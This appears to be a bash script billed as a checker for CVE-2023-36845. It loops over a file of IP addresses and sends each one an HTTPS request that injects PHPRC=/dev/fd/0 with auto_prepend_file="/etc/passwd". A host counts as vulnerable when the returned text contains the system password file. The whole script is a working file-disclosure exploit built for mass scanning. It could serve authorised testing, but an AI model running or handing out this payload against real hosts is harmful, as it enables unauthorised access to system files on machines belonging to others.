cve-2023-36845.sh

#!/bin/bash

RESET="\033[0m"
RED="\033[31m"
GREEN="\033[32m"
BOLD="\033[1m"


banner() {
    echo                                                         
    echo -e "${BOLD} - Script to check for CVE-2023-36845 vulnerability by: asbawy${RESET}"
    echo
}

send_request() {
    local ip=$1
    local url="https://${ip}/about.php?PHPRC=/dev/fd/0"
    local data='auto_prepend_file="/etc/passwd"'
    
    # Using curl to send the request with a max timeout of 15 seconds
    response=$(curl -ksS --data-binary "$data" --max-time 15 "$url")
    echo "$response"
}

save_output() {
    local ip=$1
    local is_vulnerable=$2
    local mode='a'

    if [ "$is_vulnerable" = true ]; then
        mode='a'
    else
        mode='w'
    fi

    echo -e "$ip is vulnerable: $is_vulnerable" >> output.txt
}

process_ips() {
    local file=$1
    while IFS= read -r ip; do
        ip=$(echo "$ip" | tr -d '[:space:]')
        response=$(send_request "$ip")

        if [[ "$response" == *"root:"* ]]; then
            echo -e "$ip --> $RED is vulnerable$RESET"
            save_output "$ip" true
        elif [ -n "$response" ]; then
            echo -e "$ip --> $GREEN Not vulnerable - $response$RESET"
            save_output "$ip" false
        else
            echo -e "$ip --> $GREEN Not vulnerable - HTTP Error$RESET"
            save_output "$ip" false
        fi
    done < "$file"
}

main() {
    banner
    while getopts ":f:" opt; do
        case $opt in
            f)
                file=$OPTARG
                ;;
            \?)
                echo "Invalid option: -$OPTARG" >&2
                exit 1
                ;;
            :)
                echo "Option -$OPTARG requires an argument." >&2
                exit 1
                ;;
        esac
    done

    if [ -z "$file" ]; then
        echo "Error: File containing IPs is required."
        exit 1
    fi

    process_ips "$file"
}

main "$@"